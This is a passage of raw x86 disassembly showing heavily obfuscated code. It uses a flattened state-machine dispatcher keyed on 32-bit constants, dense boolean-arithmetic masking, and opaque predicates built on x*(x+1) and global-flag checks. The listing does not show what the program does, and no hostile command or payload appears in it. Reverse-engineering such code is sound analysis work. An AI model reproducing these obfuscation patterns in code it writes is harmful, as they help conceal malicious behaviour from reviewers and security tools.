and eax, 0xda70ab33
and ecx, edx
not edx
and edx, 0x258f54cc
mov esi, ecx
not esi
and ecx, 0x967fa657
or eax, edx
mov edx, eax
xor eax, 0x865040
xor edx, 0x302003
or eax, 0xf7498fbc
and edx, 0x362043
mov edi, eax
or eax, esi
and edi, 0x698059a8
and esi, 0x698059a8
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5d1cd983
and ecx, 0xa2e3267c
or eax, ecx
mov edi, eax
xor edi, 0x55aaa9c0
xor eax, 0xaa55563f
mov ecx, edi
mov edx, eax
and edx, 0xf5d4d033
and ecx, 0xa2b2fcc
and edi, 0xdaadc8a0
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xf248483b
and edx, 0xdb7b7c4
or ecx, edx
mov edx, eax
and edx, 0x2552375f
and eax, 1
or edx, edi
mov esi, ecx
xor esi, 0x148008
xor ecx, 0xf86367f6
mov edi, edx
xor edi, 0xdaadc8a1
xor edx, 0x102208
and esi, 0x35a208
or eax, edi
mov edi, ecx
and edi, 0xffca5df7
and edx, 0x35a208
or ecx, eax
and eax, 0xffca5df7
or esi, edi
or edx, eax
not ecx
xor edx, esi
mov esi, 0x5b90c45f
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xe537daaa
and eax, 0x1ac82555
or eax, ecx
xor eax, 0xe537daaa
sete al
setne cl
cmp dword [0x492380], 0xa
setge dl
mov ah, dl
and al, dl
or dl, cl
inc ah
and ah, cl
or al, ah
xor al, 1
mov ecx, eax
or al, dl
xor cl, dl
mov ch, al
xor ch, cl
test al, al
mov eax, 0xed93fd64
cmovne eax, esi
test cl, cl
cmove eax, esi
test ch, ch
mov ecx, 0xed93fd64
cmove eax, ecx
jmp 0x402a30
cmp eax, 0x40455da8
je 0x40ee91
cmp eax, 0x4050241b
je 0x40ef6e
cmp eax, 0x41af6adf
jne 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x19b37143
and ecx, 0xe64c8ebc
or eax, ecx
mov edx, eax
xor eax, 0xe64c8ebc
xor edx, 0x18026040
mov edi, eax
or edi, 0xa97059b6
mov esi, eax
and esi, 0xa97059b6
or eax, 1
and edx, 0x380e6064
mov ecx, edi
not ecx
and edi, 0x568fa648
and eax, 0xc7f19f9b
or ecx, esi
or eax, edx
and ecx, 0xa97059b7
or ecx, edi
mov edx, ecx
not edx
and ecx, 0x7d03596e
mov esi, edx
and esi, 0x82fca691
or ecx, esi
mov esi, eax
xor esi, 0x4501190a
xor eax, 0x380e6064
or edx, eax
and eax, 0x82fca691
and esi, 0x7d03596e
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0xad17beec
mov eax, edx
not eax
and edx, 0x6a41b180
mov ecx, eax
and ecx, 0x11a04214
and eax, 0x841e0c6b
or edx, ecx
xor edx, 0x6a41b180
or eax, edx
sete dl
setne ah
cmp dword [0x492380], 0xa
setl cl
setge al
or dl, cl
xor cl, ah
xor cl, 1
or cl, al
xor al, ah
and al, dl
mov edx, ecx
mov ah, al
and dl, al
xor ah, 1
mov ch, ah
xor ah, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xf5179be7
cmovne ecx, esi
test al, 1
mov eax, 0xf5179be7
jmp 0x410d89
cmp eax, 0xa4969040
je 0x40f13a
cmp eax, 0xa5b50695
je 0x40f212
cmp eax, 0xa6684380
jne 0x402a30
cmp byte [ebp - 0x73], 0
mov eax, 0x690a41ae
mov ecx, 0x3829ef2e
cmovne eax, ecx
jmp 0x402a30
cmp eax, 0x18962c59
je 0x40f21c
cmp eax, 0x18a2bc23
je 0x40f35a
cmp eax, 0x18a4b8a1
jne 0x402a30
mov eax, dword [ebp - 0x20]
mov eax, 0x7d2e71a9
jmp 0x402a30
cmp eax, 0xe2de4761
je 0x40f391
cmp eax, 0xe3c17eb6
je 0x40f3a7
cmp eax, 0xe443ebd2
jne 0x402a30
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, 0xf8b5484a
jmp 0x402a30
cmp eax, 0x5cc18441
je 0x40f4c8
cmp eax, 0x5d717bdb
je 0x40f61e
cmp eax, 0x5e140bbd
jne 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa1cf2a99
and eax, 0x5e30d566
or ecx, eax
mov eax, ecx
xor eax, 0xa2208
xor ecx, 0x56109002
and ecx, 0xf7d59893
and eax, 0x82a676c
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x204
xor edx, 0xf7d59893
xor eax, 0x8607d309
and eax, edx
and ecx, 0x12519286
and edx, 0xedae6d79
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0xedae6d79
xor esi, 0x6383d91c
xor edx, 0x10101282
and esi, ecx
and edx, 0x1c163ac3
or eax, esi
mov esi, eax
not esi
and eax, 0xab378d0e
and esi, 0x54c872f1
or eax, esi
mov esi, ecx
and esi, 0xe3e9c53c
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0xc0608084
xor eax, 0x251a396a
xor esi, 0x1c163ac2
and edx, 0xc47280e6
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xd21f541c
and esi, 0x2de0abe3
or ecx, esi
mov esi, eax
and esi, 0x3b8d7f19
or edx, esi
mov esi, ecx
xor esi, 0xc0120004
xor ecx, 0x2de0abe3
or eax, ecx
and ecx, 0x3b8d7f19
and esi, 0xc47280e6
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x4c0ca101
and eax, 0x910616
mov edx, ecx
or edx, 0xb2024020
and esi, 0xfe0ee121
and ecx, 0x16018c8
and edx, 0xfe0ee121
or ecx, esi
mov esi, 0xc71ad539
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xb36258e8
and ecx, 0x4c9da717
or eax, ecx
setne ah
sete dl
cmp dword [0x492380], 0xa
mov dh, ah
setge cl
setl al
mov ch, cl
and dl, cl
or cl, ah
or dh, al
xor ch, ah
xor cl, 1
xor dh, 1
or cl, ch
and ch, al
and al, ah
or al, dl
or ch, dh
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov dl, ch
mov cl, al
and dl, al
xor cl, 1
mov ah, cl
or cl, ch
xor ch, 1
and ah, ch
xor ch, al
xor cl, 1
or cl, ch
or dl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x39c12889
cmovne eax, esi
test cl, 1
mov ecx, 0x39c12889
cmovne ecx, eax
test dl, 1
jmp 0x409496
cmp eax, 0x92a85df7
je 0x40f639
cmp eax, 0x92ba5774
je 0x40f72e
cmp eax, 0x9441c3c4
jne 0x402a30
cmp byte [ebp - 0x7f], 0
mov eax, 0xb73a4cfd
mov ecx, 0xf4eb40af
cmovne eax, ecx
jmp 0x402a30
cmp eax, 0xb677f94
je 0x40f738
cmp eax, 0xbb7c116
je 0x40f7db
cmp eax, 0xc78278b
jne 0x402a30
mov eax, 0x97638fd6
jmp 0x402a30
cmp eax, 0xd32c9c3d
je 0x40f8dd
cmp eax, 0xd4875442
je 0x40f8ee
cmp eax, 0xd48eb65b
jne 0x402a30
mov eax, dword [ebp - 0x18]
mov eax, 0x52b2f393
jmp 0x402a30
cmp eax, 0x49f22692
je 0x40f8f8
cmp eax, 0x4a00d14d
je 0x40f902
cmp eax, 0x4b1341b8
jne 0x402a30
push dword [ebp - 0xc4]
push dword [ebp - 0x1a8]
push dword [ebp - 0x1ac]
push dword [ebp - 0x1b0]
vzeroupper
call fcn.00402070
add esp, 0x10
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
mov eax, 0xe443ebd2
jmp 0x402a30
cmp eax, 0xb4c24945
je 0x40fa92
cmp eax, 0xb555cc50
je 0x40fb43
cmp eax, 0xb56355f2
jne 0x402a30
mov eax, 0xdb025834
jmp 0x402a30
cmp eax, 0x2ed4b618
je 0x40fc5e
cmp eax, 0x2f0e39fa
je 0x40fc85
cmp eax, 0x2f98a61d
jne 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x26c61278
mov esi, ecx
and esi, 0xd939ed87
mov edi, ecx
or edi, 0xc342702
and ecx, 0x15eaa4f5
or edx, esi
and edi, 0x7f362712
mov esi, edx
xor edx, 0x8302502
xor esi, section..text
or edx, 0x73020010
and esi, 0x80411080
and edx, 0x7f362712
or esi, edx
mov edx, eax
and edx, 0x88c86d
and eax, 0xea155b0a
or edx, edi
or eax, ecx
xor edx, esi
xor eax, 0xea155b0a
mov esi, edx
not esi
and edx, 0x59688826
and esi, 0xa69777d9
or edx, esi
mov esi, 0x3e3005ff
xor edx, 0x2ae2405a
or eax, edx
mov ecx, eax
not ecx
and eax, 0x251e35f8
and ecx, 0xdae1ca07
or eax, ecx
xor eax, 0x251e35f8
sete al
setne cl
cmp dword [0x492380], 0xa
setl ch
setge dl
or al, dl
or dl, cl
or ch, cl
mov cl, al
mov ah, dl
or al, ch
xor ah, 1
xor cl, ch
xor al, 1
or al, cl
mov cl, ah
and cl, dl
xor al, 1
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
xor cl, al
or al, dl
mov edx, ecx
xor dl, al
not dl
test dl, 1
mov edx, 0xff6828d3
cmovne edx, esi
test al, 1
mov eax, 0xff6828d3
cmovne eax, edx
jmp 0x41162d
cmp eax, 0xf14738a3
je 0x40fd6d
cmp eax, 0xf4eb40af
je 0x40fe39
cmp eax, 0xf5179be7
jne 0x402a30
mov eax, dword [ebp - 0xe4]
add eax, 0x18
mov dword [ebp - 0x138], eax
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0x6ed0d32
and edx, 0xf912f2cd
or edx, esi
mov esi, eax
not esi
and eax, 0xf912f2cd
or ecx, esi
and esi, 0x6ed0d32
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0x810088da
mov esi, ecx
xor esi, 0x32615000
mov edx, ecx
not edx
and ecx, 0x32ecb534
and esi, 0x7af37304
and eax, 0x850c8cfb
and edx, 0xcd134aca
or eax, esi
or edx, ecx
mov esi, eax
xor esi, 0xa2620
xor eax, 0xb361d8db
mov ecx, eax
and ecx, 0x7ff4d9dc
and esi, 0x800b2623
or esi, ecx
mov ecx, edx
xor ecx, 0x80030202
xor edx, 0x32ecb535
or eax, edx
and edx, 0x7ff4d9dc
and ecx, 0x800b2622
or ecx, edx
not eax
xor ecx, esi
mov esi, 0xad17beec
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xdc1fd8a7
and ecx, 0x23e02758
or eax, ecx
mov ecx, eax
xor ecx, 0xd8051084
xor eax, 0x22202448
and eax, 0x263aec6b
and ecx, 0xd9c51394
or ecx, eax
mov eax, ecx
xor eax, 0x20288420
xor ecx, 0xd9c00010
and eax, 0x202d97a4
and ecx, 0xdfd2685b
or ecx, eax
mov eax, ecx
xor eax, 0x202d0484
xor ecx, 0x8a102000
and ecx, 0x8a10b320
and eax, 0x75ef4cdf
or eax, ecx
cmp eax, 0x75ef4cdf
sete al
cmp dword [0x492380], 0xa
mov ecx, eax
setl dl
mov ah, dl
xor cl, dl
and ah, al
or al, dl
xor cl, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
mov edx, 0xc0aac0f4
cmovne edx, esi
test al, al
mov eax, 0xc0aac0f4
jmp 0x410698
cmp eax, 0x6f2209c3
je 0x40fe4c
cmp eax, 0x6f37e3e5
je 0x40fe56
cmp eax, 0x6fc8ca8b
jne 0x402a30
mov eax, 0xc0871e8b
jmp 0x402a30
cmp eax, 0x8acf8785
je 0x40ff5a
cmp eax, 0x8c4631a4
je 0x410042
cmp eax, 0x8c9a5214
jne 0x402a30
mov eax, 0xcd0db018
jmp 0x402a30
cmp eax, 0x4fbaa8d
je 0x41004c
cmp eax, 0x5a0c2b5
je 0x410056
cmp eax, 0x5f1c8cc
jne 0x402a30
mov eax, dword [ebp - 0x8c]
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xc4512800
mov edx, ecx
and edx, 0x122802c5
and ecx, 0x2986d53a
or eax, edx
xor eax, 0xc4512800
or ecx, eax
mov edi, ecx
not edi
mov edx, ecx
and edx, 0x2891bec9
and ecx, 0x80820249
mov eax, edi
and eax, 0xd76e4136
or edi, 0x7f5df882
or edx, eax
mov eax, edx
mov ebx, edx
xor eax, 0x2891bec9
xor ebx, 0xa833b9b4
xor edx, 0x466e0114
and ebx, eax
and edx, 0x667e3b94
and eax, 0x9981c46a
mov esi, ebx
not esi
and ebx, 0xffd27a4b
or eax, edx
mov dword [ebp - 0x90], esi
and dword [ebp - 0x90], 0x2d85b4
or esi, edi
and edi, 0x2d85b4
xor eax, 0x9981c46a
add ebx, dword [ebp - 0x90]
or ecx, edi
not esi
mov edi, 0xf5e34626
xor ecx, ebx
or esi, ecx
mov ecx, esi
not ecx
and esi, 0x7f5df883
and ecx, 0x80a2077c
or esi, ecx
or eax, esi
mov esi, 0x2d5fd273
mov ecx, eax
not ecx
and eax, 0xff182147
and ecx, 0xe7deb8
or ecx, eax
mov eax, ecx
xor eax, 0xe3d6a8
xor ecx, 0x4102046
and ecx, 0x4142856
and eax, 0xfbebd7a9
or eax, ecx
mov ecx, eax
xor ecx, 0x102846
xor eax, 0xc809c3a0
and eax, 0xcc0dc3b0
and ecx, 0x33f23c4f
or ecx, eax
cmp ecx, 0x33f23c4f
setne dl
cmp dword [0x492380], 0xa
mov eax, edx
setge cl
inc al
mov ah, al
and ah, dl
xor ah, 1
or ah, al
mov al, cl
xor ah, 1
or ah, dl
xor ah, 1
xor al, ah
or ah, cl
not al
mov ch, ah
and al, cl
xor al, 1
xor ch, al
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
xor al, 1
or cl, ah
xor ah, 1
or al, ch
mov dl, ah
or ah, cl
xor al, 1
xor dl, cl
xor ah, 1
or ah, dl
mov cl, ah
mov dl, ah
xor cl, 1
and cl, ah
xor cl, 1
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov edx, eax
xor cl, 1
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
cmovne edi, esi
test al, 1
mov eax, 0xf5e34626
cmovne eax, edi
test dl, 1
cmove eax, edi
jmp 0x402a30
cmp eax, 0xc9b88c3f
je 0x41021b
cmp eax, 0xc9c1bfa2
je 0x410359
cmp eax, 0xc9f10c09
jne 0x402a30
mov eax, dword [ebp - 0x1c]
mov dword [eax], 5
mov eax, 0xd66712b7
jmp 0x402a30
cmp eax, 0x452192eb
je 0x410377
cmp eax, 0x4578839c
je 0x41038f
cmp eax, 0x45b94949
jne 0x402a30
mov eax, dword [ebp - 0x88]
vxorps xmm0, xmm0, xmm0
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x88]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
mov eax, 0x2bdc3d6
jmp 0x402a30
cmp eax, 0xacced3f8
je 0x410525
cmp eax, 0xace00ade
je 0x4105b2
cmp eax, 0xad17beec
jne 0x402a30
mov eax, dword [ebp - 0xe4]
mov eax, 0xf5179be7
jmp 0x402a30
cmp eax, 0x22aee929
je 0x4105bc
cmp eax, 0x24461f76
je 0x4106a5
cmp eax, 0x2555a43f
jne 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x99a91d6f
mov ecx, eax
xor ecx, 0x875c9650
and edx, 0x6656e290
andn ecx, eax, ecx
or edx, esi
mov eax, edx
mov esi, edx
xor eax, 0x6656e290
xor esi, 0xe10a74c0
xor edx, 0x1821112e
and esi, eax
and edx, 0x5a23b3be
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x78a369ae
and esi, 0x875c9651
or ecx, esi
mov esi, eax
and esi, 0xa5dc4c41
and eax, 1
or esi, edx
xor esi, 0x5a23b3bf
or eax, esi
mov esi, 0x82be4b37
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xf1d95cfc
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0xe26a303
and eax, 0xf1d95cfc
or eax, ecx
sete dl
setne ah
cmp dword [0x492380], 0xa
setl al
setge cl
and dl, cl
and al, ah
or cl, ah
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0xa776cc9e
mov al, ah
xor al, dl
cmovne ecx, esi
test dl, dl
jmp 0x4110ef
cmp eax, 0xe937d808
je 0x410735
cmp eax, 0xe9562a77
je 0x41073f
cmp eax, 0xe9a26855
jne 0x402a30
mov eax, 0x6e4fb6c0
jmp 0x402a30
cmp eax, 0x690a41ae
je 0x410819
cmp eax, 0x69299cf4
je 0x410972
cmp eax, 0x6a46e7dd
jne 0x402a30
mov eax, dword [ebp - 0x114]
mov eax, dword [eax + 4]
mov dword [ebp - 0x17c], eax
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x5be9f026
and ecx, 0xa4160fd9
or edx, ecx
xor edx, 0x5be9f026
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0x33b57916
and eax, 0xcc4a86e9
or eax, edx
xor eax, 0xcc4a86e8
or eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x796d42ef
and edx, 0x8692bd10
or edx, esi
mov esi, ecx
not esi
and ecx, 0x8692bd10
or eax, esi
and esi, 0x796d42ef
or ecx, esi
not eax
mov esi, 0x8ec5c9e0
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6a35bb14
and ecx, 0x95ca44eb
or ecx, eax
xor ecx, 0x95ca44eb
setne ah
sete al
cmp dword [0x492380], 0xa
setge cl
setl ch
mov edx, ecx
and ch, ah
xor dl, al
not dl
and dl, al
or al, cl
xor al, 1
or al, dl
mov dl, ah
inc dl
and dl, cl
or dl, ch
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
xor dl, 1
or cl, ch
mov ah, dl
or dl, cl
xor ah, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, al
mov edx, ecx
xor ah, 1
xor dl, 1
and cl, ah
or ah, dl
and dl, al
or dl, cl
mov al, ah
mov ecx, 0xf6482d32
xor al, dl
test dl, 1
mov edx, 0xf6482d32
cmovne ecx, esi
test ah, 1
cmovne ecx, edx
test al, 1
jmp 0x41127a
cmp eax, 0x9b84a74a
je 0x410985
cmp eax, 0x9bd3b416
je 0x4109a7
cmp eax, 0x9bf2a4f5
jne 0x402a30
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x2c]
inc eax
mov dword [ecx], eax
mov eax, 0xded1778d
jmp 0x402a30
cmp eax, 0x109912eb
je 0x4109f4
cmp eax, 0x10a46389
je 0x4109fe
cmp eax, 0x126334b5
jne 0x402a30
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0xfc]
mov eax, 0x62e6075
jmp 0x402a30
cmp eax, 0xdafad225
je 0x410a08
cmp eax, 0xdb025834
je 0x410a12
cmp eax, 0xdb135ce2
jne 0x402a30
mov eax, 0xeb8789db
jmp 0x402a30
cmp eax, 0x52c4c347
je 0x410a1c
cmp eax, 0x53ee78cc
je 0x410b24
cmp eax, 0x53f53dd7
jne 0x402a30
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x160], eax
mov eax, 0xa8c26c8e
jmp 0x402a30
cmp eax, 0xb860f0f5
je 0x410c2e
cmp eax, 0xb8d96eed
je 0x410c49
cmp eax, 0xb9ac207f
jne 0x402a30
mov eax, dword [ebp - 0xe8]
cmp eax, dword [ebp - 0xec]
mov eax, dword [0x492384]
lea ecx, [eax + 1]
setl byte [ebp - 0x75]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x21910751
and eax, 0xde6ef8ae
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x1000e80c
xor ecx, 0x21910751
xor eax, 0xcad3607c
mov esi, ecx
and edx, 0x1191e80c
and esi, 0xee6e17f3
and eax, ecx
or esi, edx
mov ebx, eax
not ebx
and eax, 0xf823ff39
mov ecx, esi
xor ecx, 0x1191e80c
xor esi, 0xe8020721
mov edx, ecx
or edx, 0x14bd98d2
and esi, 0xe8026729
and ecx, 0xfffffffe
mov edi, edx
or edx, ebx
and edi, 0x7dc00c6
and ebx, 0x7dc00c6
or esi, edi
or eax, ebx
not edx
xor eax, esi
mov esi, 0xb2e49ec7
or edx, eax
mov eax, edx
not eax
and edx, 0x47837687
and eax, 0xb87c8978
or edx, eax
xor edx, 0xacc111ab
or ecx, edx
mov eax, ecx
xor eax, 0xf677cced
mov edx, ecx
and edx, 0x204200e1
and eax, ecx
not ecx
and ecx, 0xd635cc0c
or edx, ecx
xor edx, 0x204200e1
or eax, edx
mov ecx, eax
not ecx
and eax, 0xb969036c
and ecx, 0x4696fc93
or eax, ecx
xor eax, 0x4f1ecf81
setne al
sete cl
cmp dword [0x492380], 0xa
setge ah
setl dl
xor al, ah
or dl, cl
xor cl, ah
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, al
mov edx, eax
xor al, cl
xor ah, 1
and dl, ah
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
xor dl, cl
xor cl, 1
or ah, cl
mov ecx, 0x374a3426
xor ah, 1
or ah, al
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x374a3426
jmp 0x402a24
cmp eax, 0x384779c6
je 0x410c5c
cmp eax, 0x38591d3f
je 0x410c6c
cmp eax, 0x39c12889
jne 0x402a30
mov eax, dword [ebp - 0x44]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, eax
not ecx
and eax, 0x9e6631d5
and ecx, 0x6199ce2a
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x6108c820
xor ecx, 0x9e6631d5
xor eax, 0xde6631d5
and eax, ecx
and edx, 0x7d48c971
and ecx, 0x82b7368e
or ecx, edx
xor ecx, 0xc2b7368e
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x7d57626b
and eax, 0x82a89d94
or eax, ecx
cmp eax, 0x7d57626b
mov eax, dword [0x492384]
setne byte [ebp - 0x7c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xe88bc667
mov eax, ecx
and eax, 0x581400ad
and edx, ecx
not ecx
mov esi, ecx
and esi, 0xa7ebff52
mov ebx, edx
not ebx
and edx, 0x6b595f40
or eax, esi
mov esi, eax
xor eax, 0xa08bc642
xor esi, 0x48000000
or eax, 0x17743998
and esi, 0x68094640
mov edi, eax
or eax, ebx
and edi, 0x94a6a0bf
and ebx, 0x94a6a0bf
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0xea6ede2b
or eax, edx
mov edx, eax
not edx
and eax, 0xe88bc666
and edx, 0x17743999
or eax, edx
mov edx, eax
not edx
and eax, 0x9ecda29
and edx, 0xf61325d6
or eax, edx
xor eax, 0x9ecda29
or eax, ecx
xor eax, 0xffffffff
sete cl
setne al
cmp dword [0x492380], 0xa
setl ah
setge dl
mov ch, ah
xor cl, ah
and ch, al
inc al
and dl, al
or al, ah
mov ah, cl
or dl, ch
xor al, 1
or al, dl
mov edx, eax
xor ah, al
and al, cl
and ah, cl
xor cl, 1
not dl
and dl, cl
mov cl, ah
or al, dl
xor cl, al
mov ecx, 0xc71ad539
jmp 0x409129
cmp eax, 0xf9074d81
je 0x410cb1
cmp eax, 0xfa6b1bd0
je 0x410cbb
cmp eax, 0xfa7153c3
jne 0x402a30
mov eax, 0x2555a43f
jmp 0x402a30
cmp eax, 0x7c7ceb5b
je 0x410cc5
cmp eax, 0x7d2e71a9
je 0x410d91
cmp eax, 0x7d341a51
jne 0x402a30
movzx eax, word [ebp - 0xb2]
mov dword [ebp - 0xec], eax
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0xd9e099c
mov esi, edx
and esi, 0xf261f662
and edx, 0xa5e22d3b
or eax, esi
mov esi, eax
xor esi, 0xd8e0104
xor eax, 0xf261f663
mov edi, eax
and edi, 0x90106cba
and esi, 0x6fef9344
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0x5a1dd2c4
mov ebx, edi
not ebx
and edi, 0x6fef9345
or ecx, edx
or eax, ebx
and ebx, 0x90106cba
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
mov edx, eax
and edx, 0x2aef0a92
and esi, 0xd510f56d
or esi, edx
mov edx, ecx
xor edx, 0x5010d044
xor ecx, 0xa5e22d3b
or eax, ecx
and ecx, 0x2aef0a92
and edx, 0xd510f56d
or edx, ecx
not eax
xor edx, esi
mov esi, 0xd32c9c3d
or eax, edx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x492380], 0xa
setge al
setl cl
mov ch, al
and cl, dl
xor ch, ah
and ah, al
and ch, al
xor al, dl
or cl, ah
or al, ch
mov ah, cl
mov edx, eax
xor ah, 1
and cl, al
not dl
and dl, ah
or ah, al
or cl, dl
mov al, ah
mov edx, 0x4fbaa8d
xor al, cl
test al, 1
cmovne edx, esi
test ah, ah
mov eax, 0x4fbaa8d
jmp 0x410698
cmp eax, 0x8597c62b
je 0x410e5f
cmp eax, 0x865566c0
je 0x410e69
cmp eax, 0x871594e9
jne 0x402a30
mov eax, 0x4720b142
jmp 0x402a30
cmp eax, 0x15c1dfa
je 0x410f61
cmp eax, 0x1bf7448
je 0x410f6b
cmp eax, 0x2975ebf
jne 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x3188049
mov edx, eax
and edx, 0xa4c02816
and eax, 0x582757a0
or ecx, edx
xor ecx, 0x3188049
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 1
and eax, 0x1d158d7c
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0xe2ea7283
or eax, esi
mov esi, edx
not esi
and edx, 0x1d158d7c
or ecx, esi
and esi, 0xe2ea7283
or edx, esi
not ecx
mov esi, 0x49f22692
xor edx, eax
or ecx, edx
xor ecx, 0xffffffff
sete dl
setne ah
cmp dword [0x492380], 0xa
setl cl
setge ch
mov al, cl
and cl, ah
or al, dl
and dl, ch
xor ch, ah
xor al, 1
or cl, dl
or al, ch
mov edx, ecx
mov ch, al
xor dl, 1
and cl, al
not ch
or al, dl
and dl, ch
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x36fcfff9
cmovne ecx, esi
test dl, dl
mov esi, 0x36fcfff9
jmp 0x411a18
cmp eax, 0xc71288ac
je 0x41103e
cmp eax, 0xc71ad539
je 0x4110fb
cmp eax, 0xc89ecceb
jne 0x402a30
mov eax, 0x3e0d7342
jmp 0x402a30
cmp eax, 0x4259e673
je 0x41112a
cmp eax, 0x4286d7d0
je 0x41113f
cmp eax, 0x4295461d
jne 0x402a30
mov eax, dword [ebp - 0xd4]
mov ecx, 0xb5c8ba8a
cmp eax, 0xc
mov eax, 0x5d717bdb
cmovl eax, ecx
jmp 0x402a30
cmp eax, 0xa8c26c8e
je 0x411284
cmp eax, 0xa90dd187
je 0x41129c
cmp eax, 0xa9c62617
jne 0x402a30
mov esi, dword [ebp - 0x170]
mov ecx, esi
not ecx
mov eax, esi
and esi, 0xfffff000
or eax, 0xfff
mov edx, ecx
and edx, 0xfff
mov edi, eax
and edi, 0x676b866f
and ecx, 0x98947000
or edx, esi
or ecx, edi
mov esi, edx
not esi
and edx, 0x98947990
or eax, esi
and esi, 0x676b866f
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x581b9ae0
and eax, 0xa7e4651f
or ecx, eax
xor ecx, 0x581b9ae0
or edx, ecx
mov eax, edx
not eax
and edx, 0x19c87a1d
and eax, 0xe63785e2
or eax, edx
